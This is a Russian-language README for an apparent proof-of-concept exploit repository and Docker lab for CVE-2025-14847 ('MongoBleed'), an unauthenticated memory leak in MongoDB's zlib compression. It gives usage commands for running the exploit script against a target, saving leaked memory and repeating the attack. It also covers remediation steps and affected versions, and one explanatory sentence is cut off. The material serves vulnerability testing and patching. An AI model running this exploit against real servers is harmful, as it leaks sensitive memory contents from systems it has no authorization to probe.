
CVE-2025-14847 MongoBleed - PoC уязвимости утечки памяти в MongoDB
👨💻 Автор: Furkan KAYAPINAR (@FurkanKAYAPINAR)
⚠️ ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ
Лабораторная среда и эксплойт-скрипт для критической уязвимости неаутентифицированной утечки памяти в MongoDB Server.
CVE-2025-14847 (MongoBleed) — это критическая уязвимость неаутентифицированной утечки памяти при обработке сжатия zlib в MongoDB Server.
Уязвимость существует в message_compressor_zlib.cpp. При обработке сообщений OP_COMPRESSED:
uncompressedSizeУтёкшие данные могут включать:
# Clone repository
git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB
# Create virtual environment
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# venv\Scripts\activate # Windows
# Install dependencies
pip install -r requirements.txt
Запустите уязвимый экземпляр MongoDB для тестирования:
cd lab
# Start vulnerable MongoDB (6.0.26 with zlib enabled)
docker-compose up -d
# Verify it's running
docker-compose ps
# Load sample data (optional)
./setup.sh load-data
# Stop lab
docker-compose down
# Single target
python exploit/mongobleed.py -u 127.0.0.1
# With specific port
python exploit/mongobleed.py -u 127.0.0.1 -p 27017
# Save leaked data to file
python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin
# Multiple iterations for more data
python exploit/mongobleed.py -u 127.0.0.1 -i 20
# Quiet mode (less output)
python exploit/mongobleed.py -u 127.0.0.1 -q
# Without hex dump (text output)
python exploit/mongobleed.py -u 127.0.0.1 --text
# Update to patched version
# Example for MongoDB 6.x
sudo apt-get update
sudo apt-get install mongodb-org=6.0.27
# Start mongod without zlib
mongod --networkMessageCompressors snappy,zstd
# Or in mongod.conf
net:
compression:
compressors: snappy,zstd
python remediation/verify_fix.py --target 127.0.0.1 --port 27017
🚨 ПРЕДУПРЕЖДЕНИЕ
Этот инструмент предоставляется только для образовательного и авторизованного тестирования безопасности.
- Несанкционированный доступ к компьютерным системам является незаконным
- Вы несёте единоличную ответственность за свои действия
- Авторы не несут ответственности за неправильное использование
Используя этот инструмент, вы соглашаетесь с тем, что имеете надлежащее разрешение на тестирование целевых систем.
Вклад приветствуется! Пожалуйста, сначала прочтите CONTRIBUTING.md.
Этот проект лицензирован по лицензии MIT — см. файл LICENSE.
| Атрибут | Значение |
|---|
| Идентификатор CVE | CVE-2025-14847 |
| Оценка CVSS | 8.7 (Высокий) |
| Вектор атаки | Сетевой |
| Аутентификация | Не требуется |
| Дата раскрытия | 19 декабря 2025 года |
| Диапазон версий | Исправленная версия |
|---|
| 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.0 - 7.0.26 | 7.0.28 |
| 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.0 - 5.0.31 | 5.0.32 |
| 4.4.0 - 4.4.29 | 4.4.30 |
| Все 4.2, 4.0, 3.6 | EOL — немедленно обновитесь |